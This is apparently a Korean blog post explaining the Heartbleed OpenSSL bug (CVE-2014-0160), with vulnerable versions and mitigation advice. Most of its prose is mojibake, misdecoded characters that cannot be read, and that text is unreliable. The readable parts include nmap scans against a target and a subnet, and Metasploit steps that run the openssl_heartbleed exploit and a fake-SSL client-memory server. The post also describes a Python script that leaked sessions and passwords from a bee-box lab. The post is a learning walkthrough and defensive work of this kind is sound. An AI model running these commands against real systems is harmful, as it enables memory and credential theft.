ํ‹ฐ์Šคํ† ๋ฆฌ ๋ทฐ

๊ฐœ์š”

2014๋…„๋„ Windows XP์˜ ์ง€์› ์ข…๋ฃŒ ์‹œ๊ธฐ์™€ ๋น„์Šทํ•˜๊ฒŒ Heartbleed ( CVE-2014-0160 )๋ผ๋Š” ์‹ฌ๊ฐํ•œ OpenSSL ๋ฒ„๊ทธ๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด์„œ ์›น ๋ธŒ๋ผ์šฐ์ €์™€ ์„œ๋ฒ„ ๊ฐ„ ํ†ต์‹  ์•”ํ˜ธ๊ฐ€ ์™ธ๋ถ€์— ๋…ธ์ถœ๋˜๋Š” ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค.

 

์ทจ์•ฝ์  ๋ฐœ๊ฒฌ ๋‹น์‹œ ํ•œ๊ตญ์—์„œ SSL์„ ์‚ฌ์šฉํ•˜๋Š” ์›น ์‚ฌ์ดํŠธ ์ค‘ 56% ๊ฐ€ Heartbleed ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ–ˆ์—ˆ๋˜ ๋งŒํผ ๋ณด์•ˆ์ „๋ฌธ๊ฐ€์™€ ์–ธ๋ก ์—์„œ๋Š” ์ธํ„ฐ๋„ท ์—ญ์‚ฌ์ƒ ์ตœ์•…์˜ ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด๋ผ๊ณ  ํ‘œํ˜„ํ•  ์ •๋„๋กœ ํŒŒ์žฅ์ด ์ปธ์Šต๋‹ˆ๋‹ค.

OpenSSL ์ด๋ž€

๋ธŒ๋ผ์šฐ์ € <--> ์„œ๋ฒ„ ๊ฐ„ ํ†ต์‹ ์„ ์•”ํ˜ธํ™”ํ•˜๋Š” ์˜คํ”ˆ ์†Œ์Šค ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ด๋ฉฐ ์ฃผ๋กœ ๋ณด์•ˆ์ด ์ค‘์š”ํ•œ ๋Œ€๊ทœ๋ชจ ์‚ฌ์ดํŠธ / ๊ธˆ์œต๊ถŒ ๋“ฑ ์—์„œ OpenSSL์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

 

Heartbleed ๊ณต๊ฒฉ ์›๋ฆฌ

์ •์ƒ์ ์ธ ๊ฒฝ์šฐ ํด๋ผ์ด์–ธํŠธ -> ์„œ๋ฒ„์—๊ฒŒ heartbeat ์š”์ฒญํ•˜๋ฉฐ "๊ตฌ๋ฆ„"์ด๋ผ๋Š” 2๊ธ€์ž ๋‹จ์–ด๋ฅผ ๋ณด๋‚ด๋ฉด ์ด ๋ฉ”์‹œ์ง€๋Š” ์„œ๋ฒ„์— ์˜ํ•ด ์ˆ˜์‹ ๋œ ๋‹ค์Œ ์•”ํ˜ธํ™”๋œ ํ˜•ํƒœ๋กœ ์„œ๋ฒ„๊ฐ€ 2๊ธ€์ž์ธ "๊ตฌ๋ฆ„"์„ ๋‹ค์‹œ ๋ณด๋‚ด ์š”์ฒญ์„ ์Šน์ธํ•˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค.

*ํด๋ผ์ด์–ธํŠธ๋Š” ํ•œ ๋ฒˆ์— ์ตœ๋Œ€ 64KB ์ •๋ณด๋งŒ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

 

ํ•˜์ง€๋งŒ ์•…์˜์ ์ธ ์‚ฌ์šฉ์ž๋Š” ์„œ๋ฒ„์—๊ฒŒ "๊ตฌ๋ฆ„" ์€ 2๊ธ€์ž๊ฐ€ ์•„๋‹Œ 100๊ธ€์ž์•ผ!!๋ผ๋Š” ๋ฐฉ์‹์œผ๋กœ ๊ฑฐ์ง“ ์ •๋ณด๋ฅผ ํ•จ๊ป˜ ์ „๋‹ฌํ•˜๊ฒŒ ๋˜๋ฉด ์„œ๋ฒ„ ์ธก์—์„œ๋Š” "๊ตฌ๋ฆ„" ์ด 2๊ธ€์ž์ธ์ง€ ๊ฒ€์ฆ์„ ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— 100๊ธ€์ž๋ผ๊ณ  ์ž˜๋ชป ํŒ๋‹จํ•˜๋ฉฐ 2๊ธ€์ž ๊ตฌ๋ฆ„ + " ์›น ์„œ๋ฒ„์— ์กด์žฌํ•˜๋Š” ๋” ๋งŽ์€ ์ •๋ณด "๋ฅผ ํฌํ•จํ•˜๊ฒŒ ๋˜์–ด Overflow ๋ฉ๋‹ˆ๋‹ค.

 

์ถœ๋ ฅ๋˜๋Š” ๊ฒฐ๊ณผ์˜ ์–‘์ด ์ •ํ•ด์ ธ์žˆ๊ธฐ์— ํ•œ ๋ฒˆ์— ๋ชจ๋“  ์ •๋ณด๋ฅผ ์Šต๋“ํ•  ์ˆ˜๋Š” ์—†์ง€๋งŒ ์ž๊ทธ๋งˆํ•œ ์ •๋ณด๋ฅผ ๊ณ„์† ์ˆ˜์ง‘ํ•˜๋‹ค ๋ณด๋ฉด ์™„์ „ํ•œ ์œ ์˜๋ฏธํ•œ ์ •๋ณด๊ฐ€ ์™„์„ฑ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

*์ž‘์€ ์ •๋ณด๋“ค์ด ์ƒˆ์–ด๋‚˜์˜ค๋Š”๊ฒƒ ์ฆ‰ ์‹ฌ์žฅ์ด ํ•œ๋ฒˆ ๋›ธ ๋•Œ๋งˆ๋‹ค ํ”ผ๊ฐ€ ํ•œ ๋ฐฉ์šธ์”ฉ ๋–จ์–ด์ ธ ๊ฒฐ๊ตญ ์น˜๋ช…์ ์ธ ์‹ฌ์žฅ์ถœํ˜ˆ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๋น„์œ ํ–ˆ์Œ

 

์ทจ์•ฝํ•œ ๋ฒ„์ „
(1) OpenSSL 1.0.1 ~ OpenSSL 1.0.1f
(2) OpenSSL 1.0.2-beta, OpenSSL 1.0.2-beta1

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ OpenSSL ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ํ•˜ํŠธ๋น„ํŠธ(heartbeat) ํ™•์žฅ ๋ชจ๋“ˆ์˜ ๋ฒ„๊ทธ๋กœ ์ธํ•ด ๋ฐœ์ƒ ์ฆ‰ ํ•˜ํŠธ๋น„ํŠธ ๋ชจ๋“ˆ์—์„œ Client ํ•˜ํŠธ๋น„ํŠธ ์š”์ฒญ ๋ฉ”์‹œ์ง€๋ฅผ ์ฒ˜๋ฆฌํ•  ๋•Œ ๋ฐ์ดํ„ฐ ๊ธธ์ด ๊ฒ€์ฆ์„ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š์•„ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

 

๊ทธ๋ฆฌ๊ณ  heartbleed๋ฅผ ํ†ตํ•ด ๋นผ๋‚ธ ์ •๋ณด๋Š” ํ”์ ์ด ๋‚จ์ง€ ์•Š์•„ ์œ ์ถœ ์œ ๋ฌด๋ฅผ ์‰ฝ๊ฒŒ ํ™•์ธํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

 

์ทจ์•ฝ ์œ ๋ฌด ํ™•์ธํ•˜๋Š”๋ฒ•

(1) nmap ์Šค์บ๋‹

(2) metasploit ๋ชจ๋“ˆ

(3) python ์œผ๋กœ ์ž‘์„ฑ๋œ script ํ™œ์šฉ

 <!--์ทจ์•ฝํ•œ Heartbleed ๋Œ€์ƒ์Šค์บ”-->
 nmap -d --script=ssl-heartbleed --script-args=vulns.showall -sV <target> 
 nmap --script ssl-heartbleed <192.168.100.0/24>  --> ์ „์ฒดํ™•์ธ
 nmap --script ssl-heartbleed -sV -p 8443 ๋˜๋Š” 443 <target>

nmap ์Šค์บ๋‹ ๋„๊ตฌ๋ฅผ ํ†ตํ•ด Heartbleed ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ทจ์•ฝํ•œ ๊ฒฝ์šฐ State: VULNERABLE ๋ฌธ๊ตฌ์™€ ํ•จ๊ป˜ ๋Œ€์ƒ ์„œ๋น„์Šค๊ฐ€ ์–ด๋Š ๋ฒ„์ „์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š”์ง€๋„ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

 

<!--Heartbleed ์ทจ์•ฝ์  ์Šค์บ” ๋ฐ ์œ ์ถœ๋œ ๋ฉ”๋ชจ๋ฆฌ๊ฐ’(using metasploit)-->
 msfconsole
 search heartbleed
 msf5 > use auxiliary/scanner/ssl/openssl_heartbleed 
 msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true --> ์ž์„ธํ•œ ๊ฒฐ๊ณผ ๋ฐ ์š”์ฒญ๋ฐ์ดํ„ฐ ํ™•์ธ
 verbose => true
 msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS <Target IP>
 RHOSTS => <Target IP>
 msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT < 443,8443 >
 PORT => < 443,8443 >
 msf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit
 
 <ํด๋ผ์ด์–ธํŠธ ์‹œ์Šคํ…œ์ด ์—ฐ๊ฒฐ๋ ์‹œ ๋ฉ”๋ชจ๋ฆฌ ์œ ์ถœ์„ ์œ„ํ•œ ๊ฐ€์งœ SSL ์ œ๊ณต>
 msf > use auxiliary/server/openssl_heartbeat_client_memory
 msf auxiliary(openssl_heartbeat_client_memory) > show actions
    ...actions...
 msf auxiliary(openssl_heartbeat_client_memory) > set ACTION < action-name >
 msf auxiliary(openssl_heartbeat_client_memory) > show options
    ...show and set options...
 msf auxiliary(openssl_heartbeat_client_memory) > run

๊ฒฐ๊ณผ๋ฅผ ๋ณด์‹œ๋ฉด Metasploit ์ด ๋Œ€์ƒ ์„œ๋ฒ„์™€ ํ†ต์‹ ํ•˜๊ณ  ์„œ๋ฒ„ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ž„์˜์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ๋ช…๋ น์„ ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋œ ์ž„์˜์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์กฐ๊ธˆ์”ฉ ๊ฐ€์ ธ์™€ ์˜๋ฏธ ์žˆ๋Š” ์ •๋ณด ํ˜•ํƒœ๋กœ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

*์ทจ์•ฝํ•œ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ธ bee-box์˜ ๊ฒฝ์šฐ ์—ฌ๋Ÿฌ ๋ฒˆ ๊ณต๊ฒฉ ์ˆ˜ํ–‰ํ•˜์—ฌ๋„ ๊ฐ™์€ ๋ฉ”๋ชจ๋ฆฌ ๋‚ด์šฉ ๋…ธ์ถœ๋˜์—ˆ์Œ

 

python ์Šคํฌ๋ฆฝํŠธ๋กœ ์ž‘์„ฑ๋œ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ด์„œ ์‹คํ–‰์‹œํ‚จ ๊ฒฐ๊ณผ์ž…๋‹ˆ๋‹ค.

 

ํ•ด๋‹น ๊ณต๊ฒฉ ์Šคํฌ๋ฆฝํŠธ ๋‚ด๋ถ€๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด ๊ธฐ๋ณธ์ ์œผ๋กœ " 8443 " ํฌํŠธ๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ƒ์œ„ ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•ด ๋ณธ ๊ฒฐ๊ณผ ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์ธ ์ •๋ณด์ธ ์„ธ์…˜ ๊ฐ’๊ณผ ID์™€ PASSWORD๊นŒ์ง€ ๋ชจ๋‘ OverFlow ๋˜์–ด ๋…ธ์ถœ๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

 

๊ณต๊ฒฉ ์งํ›„ ํŒจํ‚ท ๋ถ„์„์„ ํ†ตํ•ด ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ ์•”ํ˜ธํ™”๋œ ํ†ต์‹ ์„ ๋ฌด์‹œํ•˜๊ณ  ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ํ‰๋ฌธ์œผ๋กœ ์‰ฝ๊ฒŒ ๋…ธ์ถœ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์œ ์ถœ๋œ ๊ณ„์ • ์ •๋ณด๋ฅผ ํ†ตํ•ด ์ •์ƒ์ ์ธ ์‚ฌ์šฉ์ž๋กœ ์œ„์žฅํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ๋งŒ์ผ ๊ด€๋ฆฌ์ž ๊ณ„์ •์ผ ๊ฒฝ์šฐ ํŒŒ๊ธ‰ํšจ๊ณผ๋Š” ๋”์šฑ ํฌ๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


๋Œ€์‘ ๋ฐฉ์•ˆ

(1) OpenSSL์˜ ๋ฒ„๊ทธ์—์„œ ๋น„๋กฏ๋œ ๋ฌธ์ œ์ธ ๋งŒํผ ๋ฒ„๊ทธ๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ์ตœ์‹  ๋ฒ„์ „์œผ๋กœ ์—…๋ฐ์ดํŠธํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ ์˜ˆ๋ฐฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

Heartbleed ๋ฌธ์ œ์ ์ด ํ•ด๊ฒฐ๋œ ์‹œ์Šคํ…œ์„ ๋Œ€์ƒ์œผ๋กœ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•ด๋ณด๋ฉด Handshake ๊ณผ์ •์€ ์ •์ƒ์ ์œผ๋กœ ์ด๋ฃจ์–ด์ง€๋‚˜ ์„œ๋ฒ„ ์ธก์—์„œ ์‘๋‹ต์„ ํ•˜์ง€ ์•Š์•„ ๋ฏผ๊ฐ์ •๋ณด๊ฐ€ ๋…ธ์ถœ๋˜์ง€ ์•Š๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

 

(2) ๋งŒ์ผ Heartbleed ๊ณต๊ฒฉ์„ ๋‹นํ•œ ๊ฒƒ ๊ฐ™๋‹ค๋ฉด ์„œ๋ฒ„ ์ธก SSL ๋น„๋ฐ€ํ‚ค ๋ฅผ ์žฌ๋ฐœ๊ธ‰๋ฐ›๊ณ  ์ด์šฉํ•˜๋Š” ์‚ฌ์šฉ์ž๋“ค์—๊ฒŒ ํŒจ์Šค์›Œ๋“œ ์žฌ์„ค์ •์„ ํ•˜๋„๋ก ๊ณต์ง€๋ฅผ ํ•ด์•ผ๋ฉ๋‹ˆ๋‹ค.

๊ณต์œ ํ•˜๊ธฐ ๋งํฌ
Comment